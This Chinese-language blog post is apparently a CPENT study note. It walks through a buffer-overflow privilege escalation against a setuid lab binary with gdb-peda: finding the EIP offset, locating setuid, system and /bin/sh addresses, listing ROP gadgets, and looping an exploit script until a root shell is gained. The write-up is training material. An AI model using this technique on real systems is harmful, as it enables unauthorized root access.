iT邦幫忙

2023 iThome 鐵人賽

DAY 8
0
Security

滲透測試小白的 CPENT 證照學習筆記系列 第 8

GDB 緩衝區溢位攻擊 (Buffer Overflow)

  • 分享至 

  • xImage
  •  

緩衝區溢位攻擊,我們主要想透過他的記憶體溢位來提升權限。

  • sudo chown root:root level-two
    將檔案 level-two 的所有權更改為 root 用戶和 root 群組。

  • sudo chmod 4755 level-two
    變更檔案權限,加入 setuid 權限到 level-two,允許以檔案所有者的身分執行該程式。
    image.png

  • gdb -q level-two

  • gdb-peda$ checksec
    image.png
    啟動 gdb 來偵錯 level-two 檔案,並用 checksec 指令檢查檔案的安全性設置。
    NX:ENABLED,表示沒法在內存中注入 shellcode 執行惡意代碼。

  • gdb-peda$ r
    在 GDB 中啟動程式,發現是一隻讓你輸入任何字串,就會跟你 say hello的程式。
    image.png

  • gdb-peda$ pattern create 500
    先建立長度500的字串測試看看,多少才會溢位。
    image.png

  • gdb-peda$ r
    輸入上一步產生的 500 個文字,貼上去後,點擊 Enter,結果發生錯誤。
    image.png

  • gdb-peda$ pattern search
    這時可以得知 EIP 的 offset。
    image.png

  • gdb-peda$ pattern create 140

  • gdb-peda$ r
    由 EIP 的 offset,可以再進一步取得EBP、ESP、EIP 的位置。產生 140 長度的字串,並在後面加上 BBBBCCCCCCCC 來識別位置用。
    image.png
    驗證沒有錯,成功取得EBP、ESP、EIP 在記憶體中位置。
    image.png

  • gdb-peda$ p setuid

  • gdb-peda$ p setgid

  • gdb-peda$ p system

  • gdb-peda$ find /bin/sh
    image.png
    接著找出 setuid()、setgid()、system()、/bin/sh 在記憶體中的位址。

  • gdb-peda$ ropgadget
    image.png
    查詢可用的ROP gadgets。

  • 打開攻擊程式,根據上面的結果修改記憶體位置。
    image.png

  • 開另一個Terminal 執行攻擊程式
    while true; do (python2 ./exp_leveltwo.py; cat) | ./level-two; done
    image.png

  • 一直案 enter,直到 enter 都沒跑出文字
    最後攻擊成功
    image.png


上一篇
GDB 基本操作
下一篇
PwnKit 讓你輕鬆拿到 root 權限
系列文
滲透測試小白的 CPENT 證照學習筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言